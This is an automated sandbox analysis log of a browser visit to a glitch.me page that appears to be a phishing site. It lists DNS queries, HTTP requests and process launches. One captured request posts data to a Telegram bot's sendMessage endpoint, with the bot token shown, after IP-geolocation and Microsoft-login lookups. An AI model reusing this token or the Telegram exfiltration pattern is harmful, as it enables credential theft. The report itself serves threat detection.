corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkZWFV0ft3-btgrHWggaFYLKe3RlHPc4UZMxcE6h7NFNZZiLLtbUe2515exTaU
Source: global traffic	HTTP traffic detected: GET /getconfig/sodar?sv=200&tid=gpt&tv=m202501030302&st=env HTTP/1.1Host: ep1.adtrafficquality.googleConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sodar/sodar2/232/runner.html HTTP/1.1Host: ep2.adtrafficquality.googleConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/aframe HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sodar/sodar2.js HTTP/1.1Host: ep2.adtrafficquality.googleConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjstpOwdzhYAFRE9Wufog2bOYVRf6QhWOpicwzP3kJF8unN11pSTA56WGAHZF8bBUZxkxj6MNoaBIlPjIJjJk22OMJJ7rspo79iZWBCqVx1snuSmU-FmdcKS_ya13vFpcvygmBqsZFETekNpv-bhq8VwujpAvYi7tPa_ZmQ8GEMAN6mPDYjiO6DS5hiIqwxNiTgM9xnD6IJ7mDLEP-AcdBJS8gCB6tAleYuGrcT8V1RC-Zr-uF-XHEiiyPlXqly4RxdX8BQ88ClBjFRqDOzLvWGldnE4p7A80SoKyGGHxjmieluQmzT96KV3QUubFAsRyDHjqt95yXN8Jx7V5r1BEvpyTy_ZtdCFp3uIDmv8o6I82UvSvkeI_Lfq7nBzkc-_ujGK59yBUP0sGusosNk8hIFrIfQy1kMuoVmY9szk&sai=AMfl-YQux8OBX14stZp7GCuTko47Q33aN971Y2ObTl1XdcUVFEJVNpvihvI8dvX0WG06RTuQZd0FKbnYTs39Kh6gzJs3xx8dEjG72fo-_nE810LQ6vxXnZpsdToSj_v2xAYGVSe3pKiHK9ll7uTlKdki&sig=Cg0ArKJSzHbM-UTxOeGOEAE&uach_m=%5BUACH%5D&adurl= HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkZWFV0ft3-btgrHWggaFYLKe3RlHPc4UZMxcE6h7NFNZZiLLtbUe2515exTaU
Source: global traffic	HTTP traffic detected: GET /pagead/sodar?id=sodar2&v=232&t=2&li=gpt_m202501030302&jk=2803928345140697&bg=!lZalltnNAAYsEuUeDBI7ADQBe5WfODIgoPSIrzEDl-FPn9io01kj8WZfeaIO_brNR_mGHIpIPMxrZbqfkbsy49H3-L6xAgAAAJlSAAAAAmgBB34ANmYMmrVVjSIRGxzCIFBNS74jsHGgYZEhLU-rUSgPgHS0zcyrCaXRq1Srgh49J8km8dT4eZQZBZkCozLQ5wvr1PxIi6kQ32FpRq8ra2MS_F2aZBb_4BpQC1lq3ZJc-BBMqtW4zs3_5-g2sYDoajXBuZzofy7aRjYaof3GTK_F29VTsbc1atRcnPWs8S0ldYdhmEo8AebhzP2fA8J6p86TLt-p3ogubFT1wjGiuzRos0jQ4EpAnpDz_M7J6Xe7SmEMNdIuQ7RHAIRDzLQFBq77tm_EX9euTKrQCQsEVrxoypmoWHaaN_MWoP8dfAmqTkOTDKnZ32HWXOAIx8VHE-DMZg9dsHnotUbr2d0Ql_6X6VDlGCU-6Xvt-P1lizvDSIUwca9Qav1GDK95zh7tF8nkv8jH6z_Bc1FE5mqFuGggtB81agb9HMoUJu1F8gU7lBRbksynBJjoXTCdJiCj4pYJZbuw8SGFyMTqxAicIdDm5vtm2v2lwhhsVt9DTI2zZyZqj_Dz86NPYUH4QswHe-LKxDd43uZQzRmCJ0iYehbBHjM7MbdLb5J3rW446k8ByC5WxUmAuwQDJtkTz3oW1Q3L7KYg_AlIrg51r_pLegK5n1ufdS17_fYnGEFkhArG50unrCE3Tv-t-spQxcEB_ZaEGXAF5nlMIjLAqOcr848dxpaj0FaWgZMmQ2xk4O9csTZS5jItIeoEY_PQhbfY3Up1JRWhy7mYt9Mtlf_sYYHQ8vuqHZTPsCRrO-I_XBVqvWi4_HM4R0guMMfwcUKtmTobxewy8RQePbW5EwNJNmqYQAsBcTK9Wc7hXSSoWZw39_8x0hoWTLIlz0E_FTueYMTsDPdyL3Bl5mCrDf7THWPntA4bofVeP8m2XNburClL8eNdfM8irM1jlecm3ITyJsktldEsgonApEDr6L2C23Bjy4wEHHM_panuCQnkzgyB_3_kxhYs2iUYwyeFb7uF0w HTTP/1.1Host: ep1.adtrafficquality.googleConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: terrific-metal-countess.glitch.me
Source: global traffic	DNS traffic detected: DNS query: cdn.glitch.global
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: ipapi.co
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: outlook.live.com
Source: global traffic	DNS traffic detected: DNS query: www.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: browser.events.data.msn.com
Source: global traffic	DNS traffic detected: DNS query: cdn.taboola.com
Source: global traffic	DNS traffic detected: DNS query: px.ads.linkedin.com
Source: global traffic	DNS traffic detected: DNS query: sync.outbrain.com
Source: global traffic	DNS traffic detected: DNS query: pr-bh.ybp.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: hbx.media.net
Source: global traffic	DNS traffic detected: DNS query: cm.mgid.com
Source: global traffic	DNS traffic detected: DNS query: api.taboola.com
Source: global traffic	DNS traffic detected: DNS query: eb2.3lift.com
Source: global traffic	DNS traffic detected: DNS query: code.yengo.com
Source: global traffic	DNS traffic detected: DNS query: visitor.omnitagjs.com
Source: global traffic	DNS traffic detected: DNS query: trace.mediago.io
Source: global traffic	DNS traffic detected: DNS query: trace.popin.cc
Source: global traffic	DNS traffic detected: DNS query: ib.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: sync.inmobi.com
Source: global traffic	DNS traffic detected: DNS query: m.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: sync.im-apps.net
Source: global traffic	DNS traffic detected: DNS query: tsdtocl.com
Source: global traffic	DNS traffic detected: DNS query: srtb.msn.com
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: res.public.onecdn.static.microsoft
Source: global traffic	DNS traffic detected: DNS query: btloader.com
Source: global traffic	DNS traffic detected: DNS query: confiant.msn.com
Source: global traffic	DNS traffic detected: DNS query: bt.dns-finder.com
Source: global traffic	DNS traffic detected: DNS query: mem.gfx.ms
Source: global traffic	DNS traffic detected: DNS query: acdn.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: ams3-ib.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: ad-delivery.net
Source: global traffic	DNS traffic detected: DNS query: ad.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: api.btloader.com
Source: global traffic	DNS traffic detected: DNS query: cdn.btmessage.com
Source: global traffic	DNS traffic detected: DNS query: api.btmessage.com
Source: global traffic	DNS traffic detected: DNS query: securepubads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: cdn.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: ep1.adtrafficquality.google
Source: global traffic	DNS traffic detected: DNS query: protected-by.clarium.io
Source: global traffic	DNS traffic detected: DNS query: ep2.adtrafficquality.google

Source: unknown

HTTP traffic detected: POST /bot7114109019:AAGE9UOdjZ7I3mDCG6kHa513MvKpJBw78d8/sendMessage HTTP/1.1Host: api.telegram.orgConnection: keep-aliveContent-Length: 155sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, */*Content-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://terrific-metal-countess.glitch.meSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://terrific-metal-countess.glitch.me/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50612
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50613
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50736
Source: unknown	Network traffic detected: HTTP traffic on port 50749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50610
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50623
Source: unknown	Network traffic detected: HTTP traffic on port 50635 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50622
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50627
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50629
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50628
Source: unknown	Network traffic detected: HTTP traffic on port 50687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50621
Source: unknown	Network traffic detected: HTTP traffic on port 50744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50646 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50509
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 50629 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50634
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50755
Source: unknown	Network traffic detected: HTTP traffic on port 50634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50515
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50636
Source: unknown	Network traffic detected: HTTP traffic on port 50720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50514
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50635
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50638
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50516
Source: unknown	Network traffic detected: HTTP traffic on port 50657 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50630
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50631
Source: unknown	Network traffic detected: HTTP traffic on port 50515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50628 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50645
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50766
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50644
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50647
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50646
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50612 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50642
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50763
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50623 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50499
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50645 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50610 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 50516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 50605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 50721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50605
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 50689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 50650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50720
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50627 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50694
Source: unknown	Network traffic detected: HTTP traffic on port 50764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50698
Source: unknown	Network traffic detected: HTTP traffic on port 50735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50586
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50587
Source: unknown	Network traffic detected: HTTP traffic on port 50472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50621 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50472
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50594
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50599
Source: unknown	Network traffic detected: HTTP traffic on port 50586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50654 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50535
Source: unknown	Network traffic detected: HTTP traffic on port 50659 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50658
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50657
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50659
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50650
Source: unknown	Network traffic detected: HTTP traffic on port 50594 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50654
Source: unknown	Network traffic detected: HTTP traffic on port 50613 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50653
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50774
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50599 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50660
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50662
Source: unknown	Network traffic detected: HTTP traffic on port 50631 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 50751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50679
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50554
Source: unknown	Network traffic detected: HTTP traffic on port 50630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50647 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50689
Source: unknown	Network traffic detected: HTTP traffic on port 50658 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50681
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50687
Source: unknown	Network traffic detected: HTTP traffic on port 50763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50587 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50690
Source: unknown	Network traffic detected: HTTP traffic on port 50499 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50774 -> 443

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 --field-trial-handle=2376,i,5334429179112139548,14185537720378761471,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://terrific-metal-countess.glitch.me/"
